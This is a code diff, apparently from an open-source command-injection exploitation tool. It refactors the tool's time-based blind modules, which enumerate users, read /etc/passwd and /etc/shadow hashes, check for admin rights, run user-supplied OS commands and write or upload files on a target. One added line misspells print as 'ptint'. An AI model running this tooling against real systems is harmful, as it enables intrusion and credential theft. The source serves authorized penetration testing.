src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/common.py | 72 ++-- src/utils/menu.py | 72 ++-- src/utils/session_handler.py | 6 +- src/utils/settings.py | 14 +- 40 files changed, 1331 insertions(+), 1736 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index dbc3b54eee..7db7f2f3cf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -16,7 +16,6 @@ import re import sys from src.thirdparty.six.moves import urllib as _urllib - from src.utils import logs from src.utils import menu from src.utils import settings @@ -52,14 +51,13 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -85,13 +83,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if shell: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -128,7 +125,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -142,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_arch: + if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -177,76 +171,68 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) - + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): + _ = False + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, output, vuln_parameter) + _ = True + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = output + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -260,12 +246,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -274,11 +254,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users_list = "".join(str(p) for p in sys_users_list).strip() sys_users_list = ' '.join(sys_users_list.split()) sys_users_list = sys_users_list.split() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -288,14 +269,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - check_privs = output + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -309,37 +288,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) pass + # Unix-like users enumeration. else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -347,13 +315,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = sys_users.split("\n") else: sys_users = sys_users.split(" ") + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -365,12 +333,10 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] info_msg += " in '" + settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -410,12 +376,11 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - sys.stdout.flush() + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -429,21 +394,17 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "'." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -452,9 +413,13 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -468,19 +433,13 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -493,103 +452,111 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE - warn_msg += "' file is not in the appropriate format. " - warn_msg += "Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)) + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) check_how_long = 0 if len(output) > 1: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, output)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) return check_how_long, output """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE: - settings.ENUMERATION_DONE = False - + def reset(): + if settings.ENUMERATION_DONE: + settings.ENUMERATION_DONE = False + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.hostname: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.current_user: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() + + if menu.options.is_root or menu.options.is_admin: + if settings.ENUMERATION_DONE: + print(settings.SINGLE_WHITESPACE) + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + reset() if menu.options.sys_info: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.users: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() if menu.options.passwords: - if settings.ENUMERATION_DONE == True: + if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.ENUMERATION_DONE == False: - settings.ENUMERATION_DONE = True + reset() # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index fbbdb14088..6e98e94f6b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -33,7 +33,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -57,14 +57,12 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -144,7 +142,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "".join(str(p) for p in shell) # Check if file exists cmd = "echo $(ls " + dest_to_write + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: @@ -153,8 +152,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, pass if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - # else: - # sys.stdout.flush() if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -167,7 +164,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -206,7 +204,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = output try: diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7f712877db..e37e21d04a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -135,15 +135,9 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -299,10 +293,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -396,12 +388,13 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -414,19 +407,19 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - new_line = True + 